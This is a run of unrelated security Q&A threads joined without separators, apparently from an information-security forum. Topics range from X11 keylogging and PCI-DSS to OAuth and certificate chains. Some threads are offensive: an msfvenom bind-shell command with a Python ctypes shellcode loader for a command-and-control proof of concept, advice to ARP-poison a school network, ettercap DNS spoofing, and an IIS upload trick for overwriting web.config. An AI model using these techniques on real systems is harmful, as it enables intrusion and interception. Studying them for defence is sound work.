GUI isolation in X11 when entering Truecrypt password I have been getting a bit paranoid regarding some of my old TrueCrypt containers. The paranoia has got nothing to do with suspicions regarding TrueCrypt itself (after the shut-down last year), rather it is regarding keyloggers sniffing my containers' passwords.

And then I came across Joanna's post regarding how X server is very unsafe and different applications can snoop into each other: http://theinvisiblethings.blogspot.in/2011/04/linux-security-circus-on-gui-isolation.html. It is an old post (2011), but there has been a lot of discussions regarding this all over the net. Just see this HackerNews post: https://news.ycombinator.com/item?id=7607082

Anyways, I found that xterm offers GUI isolation. Also, gksudo allegedly doesn't allow snooping in to the password being entered.

Now, my question is this: can I somehow implement GUI isolation for TrueCrypt when it is asking for a password?

PS:

I do have keyfiles. So, please don't suggest that.

Xterm does not allow isolation unless you set it to run as another user, in another tty. Gksu and Gksudo do not provide any sort of isolation at all. The same applies to all other password entry utilities, like kdesu/kdesudo, pinentry, etc. They are regular windows, like any others.
Wayland supports isolating Windows, but only for applications which support the protocol, which Truecrypt does not. All programs which do not support Wayland fall back to the legacy X11 protocol, which Wayland supports as a fallback, but which it cannot provide any window isolation for. As a result, using it with a bunch of legacy applications does not provide you with extra security, and your Truecrypt password can still be snooped.
There are two viable solutions I can think of:

Open a new Xorg session in a new tty as a new user, and open Truecrypt there.
Go into a tty without Xorg running, log in as root, and mount Truecrypt using command line.

Note that unless you are very careful, a determined attacker can almost always gain such a password if they have access to your regular user. For example, if you ever use sudo or su to get root, they can keylog that. If you do not do it in an X session, they can still hijack it using functions, aliases, LD_PRELOAD on your shell, etc. If you are ever root and you use su to lower yourself to your regular user, then root can be hijacked with a tty pushback attack. If you try to switch to a different tty to log in as root so your possibly compromised regular user can't sniff your Truecrypt password as you enter it as root or a safe user, you might actually be presented with a fake login console where you give it your root password, instead of agetty (or logind). The only way to mitigate that is by remembering to use the SAK combo every single time you switch to a new tty to log in as root. So you see, there are a lot of things you will have to remember, and you only have to slip up once for a determined attacker who has access to your regular user to grab your Truecrypt password.
My personal security procedures are very robust but can be a bit tiring if you are very GUI-oriented. I do almost everything in the terminal, without using Xorg. I use grsecurity with RBAC to isolate individual programs so they cannot mess with my $HOME or any configuration files if they get hijacked, I always use SAK when switching to a different tty to log in, and when I do need to use Xorg, I only keep one or two programs open at a time. I only ever need to use a browser, a few video games I run under Wine, and Gimp for photo editing. Xorg runs under a different user. This may seem excessive, but it's pretty much the minimum that assures that, if my regular user is compromised, then nothing short of me slipping up and forgetting to use SAK or using su to get root instead of logging in as root in a new tty, or a kernel 0day will be able to initiate keylogging to get something like my encryption key.


What security risks exist in cell phone apps' data transfer? Smartphones apps transfer various types of data over the provider's data network (or wifi, if enabled). What security risks are there in this transfer, and how can the risks be mitigated? I'm not talking about cell phone security in general, but specifically the area of data transfer between the phone and some other source over the cell phone or wireless network.

Edit: Sorry for the vagueness, I'll try to narrow it down. I'm wondering specifically about the channel used for data transfer (either the provider's wireless network or a wifi hotspot). What encryption (if any) is provided over these networks, and how common is it for apps to encrypt data in addition to what's provided by the channel itself? For example, what encryption is used by the Facebook app over a public wifi network? What about a banking app over the provider's data network? What about Gmail over a WPA-secured wireless network? etc.

Your question is a bit vague.

What data is transfered by smartphones?

It depends. You can be fairly certain the data will include telephone conversations, SMS/MMS messages, and e-mails.

What data is stored on a smart phone?

calls records (remote phone number, time/date of call start, call duration, direction [incoming/outgoing] , potentially the name of he remote party)
SMS/MMS data ( photots [time/date, location, potentially names of people in the photos])
location data ( time/date with lattitude longitude )
photos ( see SMS/MMS )
e-mails ( recipients, time/date, pop3 server, smtp server)
web site usage ( URL, form data, cookies, time date of last visit )
contacts (phone numbers, e-mail, physical address,  relationships )
music (preferences, listening frequency, etc)

Potentially, any data stored on the smartphone could be transfered.

Do you want any of this data to be private (confidential) ?

If so, then transfers involving this data need to be protected, usually this is done by encryption. The security risk in this case would be exposure of confidential data. Mitigation against exposure is encrypting your data, and configuring access controls to limit access to the data.

Do you want to protect any of this data from modification?

Protocols used during data transfer have the ability to modify or delete your data. The security risk in this case would be loss of integrity of the data (it gets changed), or loss of availabilty of the data (it gets deleted). Mitigation against loss of integrity is the use of cryptographic hashes (which will indicate if your data is intacted or not). Additional mitigation might be error-correcting codes which allow you to recover data that is altered. Mitigation against loss of availability is data backup and properly configured access control. The backup can restore the availability of data if it is destroyed, and the access control can limit who can delete which data.


What characters that are converted when running PHP on IIS? I was reading this article about file upload vulnerability:
 https://www.owasp.org/index.php/Unrestricted_File_Upload

I saw this statement:

  Finding characters that are converted to other useful characters
  during the file upload process. For instance, when running PHP on IIS,
  the ">", "<", and double quote " characters respectively convert to
  "?", "*", and "." characters that can be used to replace existing
  files (e.g. "web<<" can replace the "web.config" file). In order to
  include the double quote character in the filename in a normal file
  upload request, the filename in the "Content-Disposition" header
  should use single quotes (e.g. filename='web"config' to replace the
  "web.config" file).

Can anyone explain it to me with an example? how "web<<" will replace
"web.config" and other files?
and the second part about "Content-Disposition"?

Can anyone explain...?

Perhaps the developers at Microsoft can explain why they chose to apply globbing in this context. Personally I find it really silly - but sadly not the first time I've seen such counter-intuitive behaviour on Microsoft's platforms.

Note that the quote comes from a section on the owasp page on how NOT to do file uploads. The author is here explaining how to exploit the vulnerability. By default, browsers will use double quotes to delimit - indeed, I believe that the spec inherits from RFC 822 which requires double quotes - so in the absence of an escaping mechanism, you cannot embed double quotes within double quotes. Again, you would need to ask Microsoft why they chose to forge their own path.


proxy services for torrents vs encrypting data I've noticed growing popularity in proxy services for torrent clients; such as BTGuard. Most torrent clients encrypt traffic so aren't these services pointless? I read that it's because the encryption is only for obfuscation, but how does this make sense? I mean encryption is encryption.

The growing popularity for Torrent proxies is for anonymity. You can encrypt traffic all you want, but it can always be traced back to the public facing node. The contents of your communication will remain private, however it can be identified that your IP address was in communication with a remote IP address. Without a proxy that will trace back to either your home or wherever you are physically connected to the internet.

With a torrent proxy (or any proxy for that matter) the traffic is negotiated by your proxy, and as such the proxy IP is the one exposed in transport and the traffic is sent back to you over an encrypted tunnel. Your computer acts as though it's on a LAN where your proxy server is, and as such the traffic is not traced back to you (assuming the proxy isn't keeping logs of connections)


Why does GPG insert dashes into signed messages? Using GPGTools on macOS, I signed a message that looks like this:

- List Item
  - Inner List Item

The signed message looks like this:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

- - List Item
  - Inner List Item
-----BEGIN PGP SIGNATURE-----
...

Any line that starts with a dash (not indented) gets prepended with -␠ in the signed message.  Why does GPG do that?

GPG does that because OpenPGP standard (RFC 4880) requires it:

  Dash-escaped cleartext is the ordinary cleartext where every
  line starting with a dash '-' (0x2D) is prefixed by the sequence
  dash '-' (0x2D) and space ' ' (0x20). This prevents the
  parser from recognizing armor headers of the cleartext itself.
  An implementation MAY dash-escape any line, SHOULD
  dash-escape lines commencing "From" followed by a space,
  and MUST dash-escape any line commencing in a dash. The
  message digest is computed using the cleartext itself, not the
  dash-escaped form.


Are PPM or BMP images safer than JPEGs or PNGs? I was reading this question ( How to check if an image file is clean? ) and forest's answer suggested converting the image to a "trivial pixelmap format, such as PPM". Such a format was considered "simple enough that it would be infeasible to exploit".
The question is: what makes a PPM file safer? Is it because there's no room to hide a payload, without becoming too noticeable at first sight? Or is it because the format is so simple to parse, that we can suppose our software will be less likely to be vulnerable, when opening such files? And most importantly, is it even true that we can consider PPM files (and maybe also BMP) to be safer than, say, more complex formats like JPEG or PNG?

The question is: what makes a PPM file safer? Is it because there's no room to hide a payload, without becoming too noticeable at first sight?

No. You might argue that for plain text files (not strictly true, but that would allow to vet most of them).
However, for most images, you wouldn't be able to discern the payload from the image data.

Or is it because the format is so simple to parse, that we can suppose our software will be less likely to be vulnerable, when opening such files? And most importantly, is it even true that we can consider PPM files (and maybe also BMP) to be safer than, say, more complex formats like JPEG or PNG?

Exactly. Decompression routines are complex. Code rendering formats like JPEG or PNG have an higher chance of having a vulnerability on there. Still very unlikely, albeit there were a few of them (e.g. JPEG 2000 one years back), but it is higher than for a dumber format.


Got an email saying my password is weak, reason for concern? I recently received an email from a well-known company stating that the password I use is weak and can be easily guessed.

The email seems legit with no attempt to steal information, they only say "log into your account and go to account->account details to change your password" with no link that they can fake or anything.

How do they know that my password is weak?
Are they not supposed to not know my password because it is encoded when they save it?
Should I be concerned about the way they handle my information?

The company the email is from is a pretty major and well-known company. I have not used their service or logged in for a few months.

They do not need to be able to read your password to test it against known weak and guessable passwords. All they need to do is to try all the guessable passwords against your password. It can be properly hashed and salted, as they are supposed to do.

They can do this quickly because they have legitimate access to the password hashes and can simply have tests running in the background. There are even services out there for companies to use that hold leaked passwords from other known leaked password databases.

Of course, once they test it, then they might know what your password is (depending on how they tested it), but then, so can attackers using the same method.

So, there is no indication of improper password handling. No reason for concern. But, if their automated testing found it, then your password is probably very guessable and should be changed as soon as possible.


Arp network (prevent mitm attack) On my school network, using wireshark to see network traffic (filter=arp), I only see gratuitous packets. Meaning, all hosts on network send gratuitous packets (ex: gratuitous for 10.10.3.54, gratuitous for 10.10.3.59, etc). I believe this technic is used to counter mitm attacks. Is it really? why?, if it is still vulnerable to mitm attack, why? How could you prevent it then?. Note, when I say mitm attack, I usually reffer to arp poisonning.

++++++++++

Using nmap and scanning the subnet 10.10.3.0, there is no results (I only see my ip). I tried no ping, quick scan, intensive scan). Yes, my command started with 10.10.3.0/24.

I do not think that the gratuitous have something to do with MITM attack prevention. Hosts usually send gratuitous ARP packets when they join the network to notify other host about their presence and their IP/arp info (even if they have not received an ARP request). Host send such packets also in case their interface comes up and in some other cases.

Some switches have a built in protection against ARP poisoning attacks. CISCO calls this technique "Dynamic ARP Inspection". In short, before forwarding an ARP packet, it verifies if the advertised IP address was really issued by the DHCP server to a host with the particular ARP address.

If you want to sniff all packets on a network segment, you will have to have an network/wifi adapter that supports promiscuous mode (and that mode should be enabled). On a wired network, the network switch will of course not forward all traffic to you, but only traffic that is sent to your MAC address. Because of that, it would be a good idea ARP poison the network and force the switch to forward more traffic to you than it should.

Regarding your last note, I would suggest you to try an ARP scan with nmap:

nmap –PR target


How to sandbox Iceweasel (Firefox) on Debian? Are there any tools for sandboxing Iceweasel (Firefox) on Debian systems?  I'm mostly interested in tools distributed by Debian.  (An equally trustworthy source would be second best.)

(I suppose that installing VirtualBox and running Iceweasel (or Firefox) within it would effectively sandbox the browser, but VirtualBox instances take up a lot of disk space, and my machine's drive is not that big.  I'm hoping to find a way to achieve the same results with a smaller disk footprint.)

You could use docker which uses Linux containers.

Here is how this could be done:

Download and install docker from here

Create a file named "Dockerfile" which contains commands to create an docker image. The following file creates an image based on Ubuntu where firefox and the OpenSSH server will be installed. A user "noone" is created (replace [your public key] with a your public key) which will be used later to start firefox.

FROM ubuntu:14.04
RUN apt-get update
RUN apt-get -y install openssh-server firefox
RUN mkdir /var/run/sshd
RUN useradd -m -U --shell=/bin/bash noone
RUN sed -ri 's/noone:!/noone:*/g' /etc/shadow
RUN sed -ri 's/UsePAM yes/UsePAM no/g' /etc/ssh/sshd_config
RUN mkdir /home/noone/.ssh
RUN chown noone:noone /home/noone/.ssh
RUN echo 'ssh-rsa [your public key] xxx' > /home/noone/.ssh/authorized_keys
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

Start the docker daemon with docker -d.

Go into the directory where your Dockerfile is located and run docker build -t sandboxfirefox. This will create the image sanboxfirefox.

Start a docker container from the image created above with docker run -d -p 127.0.0.1:5001:22 sandboxfirefox
(port 22 of the container is exported to port 5001 to the host)

Now you can start firefox via SSH using X forwarding with the user "noone" as follows:

ssh -o "UserKnownHostsFile /dev/null" -t -X -p 5001 noone@localhost firefox

Changes to the filesystem will take affect only to the container not to the image. If you stop the container all changes will be lost.


What kind of certificate do I need to be able to sign my own subdomain certificates? We are making a web-based application that will be installed in intranets as a virtual machine image (we send the user a CD with the virtual machine image, user runs it in a VMWare/VirtualBox/...).

We want to protect the application frontend by using HTTPS. We thought about getting a single certificate (issued by some known CA) for domain app.ourdomain.com and installing it on all instances, but that obviously means that one could take apart an installation, take out the private key and make a man in the middle attack on some other installation (provided he had access to its network). While this is an unlikely scenario, we would still like to avoid taking the risk.

Is it possible to get a wildcard certificate that would allow us to sign our own subdomains, so that we could issue certificates app1.ourdomain.com, app2.ourdomain.com,... and they would be accepted by users browsers? (we have no control over users' browsers) If yes, how are these certificates called?

If not, is there some other way we can protect the users from one another?

UPDATE: I have since found a similar question on serverfault so it seems it is technically possible, but "you hardly will find any CA willing to provide you with such a certificate". I would still love to know if there is a CA that issues such certificates?

Wildcard certificates, i.e. certificates which contain a name with a "*" in it, are not a solution for you. A wildcard certificate is a certificate which clients will accept as "matching" several server names: a certificate which contains "*.example.com" will be good for "foo.example.com", "bar.example.com", and so on. This is precisely what you do not want: you do not want the private key and certificate contained in one instance of your product to be good for another instance with a distinct name.

To achieve what you are trying to do, you need to obtain a CA certificate, marked as such with a Basic Constraints extension with the cA flag set to TRUE. This would allow you to issue certificates yourself, and the certificates would still link up to the root CA from which you obtained your own CA certificate.

Existing, deployed CA can sell you such a certificate, but it will be expensive:

The existing CA has a business model which sums up as "selling lots of individual certificates". If you produce many certificates without the help of the CA, then it is losing business... and will want to get its money back.
That existing CA has one huge asset, which is that its root public key is included in the Web browsers and operating systems of the whole world. OS/browser vendors accept to do that only if the CA offers strong guarantees that it is serious and will issue certificates only to duly identified entities. When such a CA delegates this issuance power to a sub-CA, it tends to require the same level of seriousness. So you would need some rather strong hardware (HSM in a bunker) and heavy procedures.

In a past life, I did such a deal with GlobalSign. Is was about 10 years ago, I don't know if they still offer such deals.

Another strategy is to let your customers deal with the issue. Document how to push a certificate and key in the application, and you are done. Some customers will use their own CA (you do not have control over the browsers of the users, but the customer might have such control). Some will buy a certificate elsewhere.

Anyway, you need to allow for such a manual certificate configuration, if only to allow renewal when the certificate expires.


Quick Question About DNS Spoofing popular/non-popular sites Earlier I'm having a difficult time spoofing DNS to my own computer. I'm using ettercap to arp poison the target. I've had nothing but success. But I've noticed that I can only spoof non-popular websites or web gaming sites. However, I'll try to spoof more popular services like facebook.com or even the unrealengine forums I go to with no luck. It will always say "This page can not be displayed." This will happen even after I flush the system cache, browser cache and all my private data in IE on my target computer. After some Googling and even searching this board, I've seen that SSL with HSTS may be a factor. This does not make sense to me. If I killed the browsers memory, how would IE know facebook even uses SSL if it shouldn't be able to get to facebook in the first place? Do modern browsers have some kind of list of domain/IP relationships to check against? If so, then how do all the Youtube tutorials do it so well? Did they do something off camera to make it work?

Do modern browsers have some kind of list of domain/IP relationships to check against

Yes. Modern browsers have a builtin list of important sites using HSTS which protect even a fresh browser installation against hijacking of these sites with sslstrip or similar. See the chromium source code for the list of sites protected this way by Chromium and derivatives (Chrome, Opera...) and at https://hstspreload.appspot.com/ you even propose your own site to get added.


How to securely store sensitive data on mobile application? I want to develop a mobile bank app (Windows Phone, Android, iOS) that interact with a bank channel.

First time when user opens application the key exchange process begins and at end of this process a long-term SymmetricKey generates and must store in mobile device. All of request that sends to server encrypt with this key. If someone can steal the SymmetricKey  he/she can hijack the user session. In simple way I can store SymmetricKey  in plain text format. another solution is that define a MasterKey in Code (Hardcode) and encrypt the SymmetricKey  with the MasterKey. but in this solution there is exists exactly one MasterKey for several instances of app that installs on different devices. If someone can decompile the mobile app code and retrieve MasterKeyhe/she can retrieve SymmetricKey Again, what is the best solution for store sensitive data in mobile application?

I read about some method that belongs to mobile os that  guarantee that data is securely stored  but all the of them needs to user set Profile Account (eg : Protect() and Unprotect() in Windows Phone that needs Hotmail account to be set).

Can I generate different master keys per different device?

Just use TLS, it's what it was meant for: securely send data between two parties across an untrusted channel.

Should you want additional protection, there are two ways to solve this problem that spring to my mind:

Use a password to encrypt the symmetric key
Use a token such as an OTT through SMS or generated using a smartcard and external cardreader with a challenge/response

The first option will password protect the symmetric key, the side effect is that the only secure way of implementing this is that the password is only saved temporarily in memory. This will require the user to input his password to decrypt the symmetric key every single time your program requires to use it.

The second option is what I've seen implemented plenty of times and does not require a key to be stored on the device. They use the bankaccounts card and an external card reader. You generate a challenge server side and send this over TLS (don't forget certificate pinning!) to your user. The user inputs the challenge in the card reader which generates a response. Client then sends the response to the server which can be verified by the server.

Remember that it's all about risk assessment, the likelihood someone is able/wanting to go as far to get your mobile app needs to be assessed. As a first recommendation ensure that you build in checks to verify if the device is rooted/jailbroken or not. If you find that the phone is jailbroken simply do not allow usage of your app and make sure to put it in the terms and conditions that the risk of loss of money is the client's responsibility when using jailbroken/rooted devices (allthough you still also need to account for reputational damage).

Make sure you have plenty of sanity checks server side as well to see where money is going. If suddenly a user is sending way above average amounts of money to accounts in Eastern European countries, it might be a good idea to temporarily block the transaction and actively call the customer to see if he intented to send that money.


Can anyone see my files on the same network? If someone hack my WiFi or they know the password . Can they see or will have access to any of my data stored in my pc connect on  the same network. Or can they control my pc or download anything ?

Accessing your wifi network does not automatically give anyone access to your computer or any other device on your network. Your devices are protected by their own passwords.
They might be able to attack and break your computer and gain that kind of access, but your computer would need a weakness and someone would have to exploit it.
If you want to share your WiFi, a lot of wifi routers have a "guest" network that you can set up, and they can't even see your home devices.


Is there any advantage to rebooting my computer after handling sensitive information? A habit that I have had for a long time is rebooting my computer after handling sensitive information. My reason for doing this is to prevent attacks against my computer's memory.

An example of this would be if I unlocked my PGP key or SSH keys, or perhaps used my password manager. As soon as I am done using them, I would reboot in order to make sure that any residual data is cleared from memory.

I am aware that rebooting doesn't necessarily wipe the memory fully, it just feels better to do it (perceived security).

Is there really any point in doing this?

I'm using Ubuntu/GNOME Keyring.

Thanks

No, it doesn't. The value might still be stored even through reboot(the physical nature of RAM leads to this). While user level applications will not receive access to the memory(it will be zeroed out when allocated), any compromise that can read the raw RAM will still be able to find it.

HOWEVER this is the wrong question to ask. Really the problem is if you're compromised to that extent, it's not your system anymore. They could sit back, relax, and slowly siphon the information as you use it and you may never know. At that point rebooting or even shutting down and waiting for RAM to clear won't do anything. They already have it.


Businesses Handling Credit Cards via Email I have done some I.T. contracting for a medium-sized Australian hotel recently. I am concerned about their credit card handling practices.

Customers often email their CC number and expiry date in plaintext to the company.
Customers also send CC details via a web form over unsecured HTTP from the company website. An ambiguous statement on the contact form could be construed as solicitation of the CC details.
CC details are stored on two mail servers, managed by the company's ISP.
All emails containing CC details are also stored on two up-to-date Windows 7 machines on premises, via Outlook 2007's Cached Exchange Mode. So even when computers are formatted or replaced, the CC numbers will end up back on the computers. Emails are never deleted.
Deposits and all subsequent charges are made by a human operator from an EFTPOS machine on premises.
There is an internet lounge on premises and it shares an internet connection with computers storing the CC details in Outlook. The staff computers may be on a different subnet to the lounge (haven't checked yet).
I have not searched the email archive. However, it seems plausible to me that some customers may have supplied CVVs over email.

I found all of this disturbing, but I didn't know exactly how to make my point to management. So I've been doing some research.

Email is not a secure channel for CC details [P].
Mere acceptance of CC details via email places the business under PCI-DSS requirements [Q] and meeting those requirement may be a substantial task [R].
Accepting and storing plaintext emails containing CC numbers violates the PCI-DSS [S].
The above practice is risky, but common among hotels and probably many low tech businesses [T].
Consequences can be severe [K] but enforcement probably won't occur unless the business is penetrated and their information is used for CC fraud [O].

I would appreciate any help to check my inferences for bugs. I'm also still unsure about two things.

Who enforces the PCI-DSS, in particular the fines mentioned in [K]? E.g. banks, or do government agencies get involved?
Does this vary much internationally? Might some info in the posts above not apply to Australia?

I'm also trying to think of a solution that won't collide too much with the current workflow (i.e. that won't cost a fortune). However, fixing this seems like a big task any way I look at it. Any perspectives on how to improve this situation would be much appreciated.

PCI-DSS is not enforced by any government; compliance is a requirement for handling credit card transactions in any way.  Fines and exclusion from processing are two enforcement actions that can be taken.  I'm not sure exactly who can definitively do what but the card brands, the acquiring banks, and the processors are the entities usually involved in either determining to do so or leveraging the enforcement.  (For example, I believe card brands levy fines, but acquiring banks are responsible for collecting them - or making up the shortfall.  Likewise, processors are tasked with collection by acquirers - or making up the shortfall.  It's a system that encourages each tier to police those lower down, and the card brands don't get left holding any bills.)
No, this shouldn't vary much internationally.  All the details you mention, which are essentially unencrypted public transmission and storage of Primary Account Numbers and Sensitive Authentication Data, are violations of the core principles of the DSS and aren't subject to localization.

As far as improving it, you can work with the merchant or you can blow the whistle (publicly, or privately to their processor/acquirer).  Unless they're unusually receptive, none of these options works well for you, a contractor in a business relationship with them who has almost certainly signed legal contracts with them.

It sucks, but as you linked to earlier... "the PCI DSS structure is designed to encourage security and punish responsible parties, not to enforce security."


Is it safe to make every resource public in a Google Cloud Storage bucket? I'm developing a business web application for my client, in which he can upload images (e.g. floor plans, photos of object etc.) and documents of different objects (word, excel etc.).
The images should be displayed when someone logs in the website and selects an object.
I'm using the Google Cloud Storage platform as the file storage and I made the bucket in what I'm storing the images available to the public Internet. The url is something like this:
https://storage.googleapis.com/mitulat-bati-bucket/{guid}.jpg
(every file has a guid as the name)
So it's only available if one knows the full URL including the GUID (the filename).
My question is: is it safe enough and can go forward with this approach? And is there any potential hazard apart from guessing out the guid?
(the other approach would be to initiate a request from the client to my backend server that downloads the file from the cloud (with authentication) and sends back the image to the client that displays it)

Your security is based upon an attacker not knowing the GUID of your files.  Let's evaluate how "secure" that is:

Bruteforce is an option (although for a GUID, it is probably not very realistic)
Anyone with access to the app can easily see the full URL and share it.  If someone using the app took a URL for a sensitive image and, for instance, posted it on Facebook, you would have no way of stopping them from sharing it like that.
If the bucket itself is also public then anyone who knows the bucket name (that isn't the real bucket name in your question, is it?) can ask google to simply list the bucket contents, and GCP will happily give away every single filename.

Is there a security risk here?  I would say there absolutely is.  Are these security risks deal breakers for you and your system?  Only you can answer that.
The other-other solution would be to use signed URLs, which effectively generate a temporary and short lived URL that the end-client can use to download specific objects from the bucket even while it is private.  This way you can make your bucket and objects private while still allowing authorized users to download objects without having to pass them through your own server.  Building a signed URL doesn't require any API calls to GCP, so it rarely creates issues with performance/response times.


How can Network Disconnect be implemented for RDP on a Windows system (2003/XP or later)? From NIST SP 800-53, Rev. 3:

SC-10 NETWORK DISCONNECT
Control: The information system terminates the network connection associated with a
communications session at the end of the session or after [Assignment: organization-defined time
period] of inactivity.

I'm aware that a session lock (also required, in AC-11) can be applied to RDP sessions on Windows boxes through the local security policy, but I haven't found a policy that covers actual disconnect.  Can this be done via a registry key or some other method?

I'm unsure whether this is the policy you're looking for, but perhaps it just slipped your attention. On the server side (this is Windows 2003) you have this:

It allows you to define the settings for the RDP sessions over network.

Otherwise it's possible this is what you are looking for. I left a comment on your question, perhaps you can clarify there if this is not what you're looking for.


Use of server and root certificate in ssl termination and inspection I'm researching vendors which allow SSL termination and inspection, I came across Cisco CWSA technology, the technology was somewhat easy to understand the stuff which really boggled my mind was the difference between root and server certificate.

This article mentions:

  A Server certificate cannot be used in order to sign other
  certificates; therefore, HTTPS decryption does not work if a Server
  certificate is installed on the WSA.

I'm mean if that certificate is signed by root CA, then why it can't go there on appliance for decryption? I'm missing something here. Help guys

There's a difference between the capabilities of a "root" certificate, which can be used to sign other certificates and a "server" certificate which cannot.

For an SSL proxy if you use a server certificate then the only host whose traffic could be seemlessly intercepted is the one whose Common Name is included on the server cert.

The general idea with this kind of SSL intercepting proxy is that you'll have a CA certificate which will be trusted by the clients connecting through the proxy and which can be used to create server certificates that the clients will trust, on-the-fly.


Why didn't the stolen Facebook access tokens give access to private messages? Facebook discovered a "security issue" affecting 50 million accounts. Hackers were able to steal access tokens. But Facebook have said that,

  So far, our initial investigation has not shown that these tokens were
  used to access any private messages or posts or to post anything to
  these accounts.

How is this possible? If they have the access token, why can't they access private messages and posts?

There is a very big difference between:

  has not shown that these tokens were used

and

  has shown that these tokens COULD not be used

The former implies a possibility, but they haven't done it.
The latter would imply that it would be impossible to do. Which isn't the case.


Python - ctypes.cast function call outputs Segmentation Fault error message Background:

Writing a proof of concept of a twitter C&C inspired by Prof Viviek of SPSE similiar to  twittor and the project includes a functionality of injecting shellcode and executing it within the python's program. However I wanted to make the functionality cross platforms, but it only worked in a windows system.

Problem: When executing the python script in ubuntu server 12.04.5 LTS, the output says

Segmentation fault (core dumped)

Which means I am getting denied for accessing memory that I don't have permission for. This is strange b/c in the source code I also set  cytpes.mprotect(allocated_space, space_size, 7) <== 4 + 2 + 1 is for wrx permissions

Shellcode generated using command:

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

Python Script:

 #!/usr/bin/env python

import ctypes
import os

# please comment out the appropriate payload for the other platforms
# this below is for windows shell bind tcp listening at 4444
#buf  = ""
#buf += "shellcode..."

# below is for linux
buf = ""
buf += "shellcode..."

def main(shellcode):
    if os.name == 'posix':
        try:
            libc = ctypes.CDLL('libc.so.6')
            sc_ptr = ctypes.c_char_p(shellcode)

            size = len(shellcode)
            addr_freespace = ctypes.c_void_p(libc.valloc(size))
            ctypes.memmove(addr_freespace, sc_ptr, size)
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()
            sys.exit()
        except Exception as e:
            print "Error: " e

    else:
        try:  # windows implementation

if __name__ == '__main__':
    main(buf)

Question:  Can someone explain why does the segmentation fault message appear and how do we fix such problem?

Credits: this script is inspired by sickle.py @ Line743-753

The only difference is the reference script is using python 3, while I am using python 2.7.

UPDATE:

After many trials and errors, including running the program in pdb. The segmentation fault error happened after the line of:

run()

Can someone please explain why this is happening?

The VM machine was x64 architecture, and I fed it 32 bit shellcode, terrible mistake on my part, but finally mystery solved.


Is it possible to change the wifi password with a script? I was wondering if it is possible to change the password for a wifi with a script instead of having to log-in to the routers firmware?

I'm not aware of any routers providing an easy API to change your wifi password in an automatic fashion.

However, every wifi router that I have used makes it possible to change the wifi password by logging into the router through a web browser using HTTP requests (GET / POST).

Thus its possible to automate out these activities if you want; granted it will be specific to your specific webbrowser.  E.g., in python I can get to my router with using requests

import requests
pw = '<replace_this_with_your_password>'
requests.get('http://192.168.1.1', auth=('admin', pw))

Granted how to change the password, depends on the specific router, what POST variables it wants, what URL is required, etc.


Avoid brute force attacks on oAuth authorization server I've been looking into the oAuth 2 authorization framework for a while now. Yesterday I started wondering how to prevent a brute force attack during the Authorization Code Grant flow (https://tools.ietf.org/html/rfc6749#section-4.1). To clarify, the flow works as follows:

Browser sends a requests for a protected resource on an oAuth 2 client (client.example.com).
Browser is redirected to the authorization endpoint on the authorization server:

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz
    &redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

with state being some kind of random string generated by the oAuth 2 client

Browser logs in on Authorization server
When correctly logged in, the browser is redirected back to the redirect-uri with some query parameters

https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

the state string should be the same as sent by the client, and the token a string generated, by the authorization server.

The client verifies whether the state parameter belongs to the session of the user agent (to prevent XSRF) and requests the access token from the authorization server using the code query parameter and basic authentication with the clients credentials:

POST /token HTTP/1.1
 Host: server.example.com
 Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
 Content-Type: application/x-www-form-urlencoded
 grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA &redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

It is possible for an attacker to repeat steps 2 and 4 over and over again, without actually logging in to the authorization server:

Go to a restricted resource on client.example.com.
Parse the state request parameter in the redirect (and store the cookie/session id)
Try getting a token for value1 by going to https://client.example.com/cb?code=value1&state=xyz  (with cookie/session id received in 1)

Do this again and again for code=value2, code=value3, ...

Nothing stays the same in between two attempts of the attacker, which makes it hard for the authorization server to store a number of attempts and block after a certain number.

However, there is probably a small time window for the attacker to perform the attack, since the code is only valid on the server between steps 4 and 5 in the flow (except if the client crashes somewhere between 4 and 5).

Other then

having a large code generated by the authorization server
making the codes available only for a limited amount of time

is there anything else we can do to prevent the described attack?

You design the code to be unrealistically guessable.
You can also rate limit by IP address.

Then you have a well hardened service. Really just stick with number 1 though. It’s much better than rate limiting.

If you use a cryptographic number generator to create 128 bits of random data, and base 64 encode that, then use that as your code. The probability of guessing that 128 bit string is u likely in the next decade with a bunch of computers working on it full time.


How are browsers able to find and construct an alternate trusted chain path? We had a web server that had the wrong SSL certs installed yet the browser was able to find another trusted path to a root and supply the page properly over HTTPS. We also have proprietary software clients that use SSL outside of browsers that connect to the same server yet these failed SSL validation. My question is what is the mechanism in browser logic that allows it to find alternate paths to a trusted root?

In SSL/TLS the server is supposed to show its certificate as part of a chain. Theoretically, the server should make sure that the sent chain is correct, and the client is "morally entitled" to reject the connection if the exact chain sent by the server fails to validate. However, clients are allowed to make extra efforts; if they can validate the certificate with another chain, then it is OK to continue.

Therefore, one cannot formally blame some clients for failing to validate the server's certificate if the server sends a flawed chain.

When a client tries to build an alternate chain, it will use some or all of the following methods:

The client may have locally installed intermediate CA certificates (in Windows system, the "intermediate CA" store is meant for that).
The certificates sent by the server may be reused (but maybe not in the same order).
The client may have access to some LDAP server or equivalent in which some certificates may be looked up by subject name (this may happen in Windows / Active Directory setups). The initial plan for X.509 was that there should be a worldwide Directory, like some sort of generalized DNS, but it never happened.
The client may try to download other intermediate CA certificates by following the URL found in the Authority Information Access extensions of the certificates.

This last method is what will usually work. A well-issued certificate will contain an AIA extension with an URL pointing to the certificate for the CA which issued it. That certificate may itself contain an AIA extension pointing to the upper-level CA, and so on, up to the root. As long as all URL are publicly accessible, network is up and running, and no sysadmin got into his pathetic excuse for a mind to block that mechanism (I have seen it done, unfortunately), then the chain will be successfully rebuilt. Modern Windows systems do that automatically.

